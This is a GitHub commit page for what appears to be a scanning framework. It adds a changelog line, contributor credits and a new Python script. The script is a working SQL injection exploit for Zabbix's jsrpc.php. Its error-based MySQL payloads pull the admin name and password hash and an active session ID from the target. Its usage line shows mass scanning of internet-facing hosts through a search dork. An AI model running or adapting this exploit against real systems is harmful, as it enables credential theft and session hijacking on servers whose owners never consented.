-
Notifications
You must be signed in to change notification settings - Fork 750
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
fix bug in PoC-ResultHandler & script:zabbix-jsrpc-mysql-exp
- Loading branch information
Showing
6 changed files
with
77 additions
and
16 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -51,4 +51,5 @@ | |
|
||
1.8 | ||
--- | ||
* 2016.08.19 - `-m`参数可适配多种输入 | ||
* 2016.08.19 - `-m`参数可适配多种输入 | ||
* 2016.08.23 - 修复PoC回显处理的Bug |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,8 @@ | ||
* [进击的zjx](http://zone.wooyun.org/user/%E8%BF%9B%E5%87%BB%E7%9A%84zjx) - zone.wooyun.org | ||
for reporting a bug on IPy-ImportError | ||
* [王若伊](http://zone.wooyun.org/user/%E7%8E%8B%E8%8B%A5%E4%BC%8A) - zone.wooyun.org | ||
for contributing codes to script/struts2-s2032.py | ||
for contributing codes to `script/struts2-s2032.py` | ||
* [CplusHua](),[小乐天]() - knownsec | ||
for suggesting features to script/struts2-devmode.py | ||
for suggesting features to `script/struts2-devmode.py` | ||
* [B0t0w1]([email protected]) | ||
for providing script `zabbix-jsrpc-mysql-exp.py` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: utf-8 -*- | ||
# Author B0t0w1 | ||
|
||
|
||
""" | ||
ZABBIX jsrpc.php SQL Inject Vulnerability (MySQL Exploit) | ||
Usage: | ||
python POC-T.py -T -m zabbix-jsrpc-mysql-exp --api --dork="zabbix country:us" | ||
""" | ||
|
||
import re | ||
import urllib2 | ||
|
||
|
||
def poc(url): | ||
url = url if '://' in url else 'http://' + url | ||
if url[-1] != '/': url += '/' | ||
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" | ||
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" | ||
payload_deteck = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" | ||
try: | ||
response = urllib2.urlopen(url + payload_deteck, timeout=10).read() | ||
except Exception, msg: | ||
# print msg | ||
pass | ||
else: | ||
key_reg = re.compile(r"INSERT\s*INTO\s*profiles") | ||
Passwd = "" | ||
Session_id = "" | ||
if key_reg.findall(response): | ||
payload_inject = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( | ||
passwd_sql) + "&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" | ||
try: | ||
response = urllib2.urlopen(payload_inject, timeout=10).read() | ||
except Exception, msg: | ||
# print msg | ||
pass | ||
else: | ||
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") | ||
results = result_reg.findall(response) | ||
if results: | ||
Passwd = "password_md5:" + results[0] | ||
payload_inject = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( | ||
session_sql) + "&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" | ||
try: | ||
response = urllib2.urlopen(payload_inject, timeout=10).read() | ||
except Exception, msg: | ||
# print msg | ||
pass | ||
else: | ||
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") | ||
results = result_reg.findall(response) | ||
if results: | ||
Session_id = "Session_id:" + results[0] | ||
return (url, Passwd, Session_id) | ||
return False |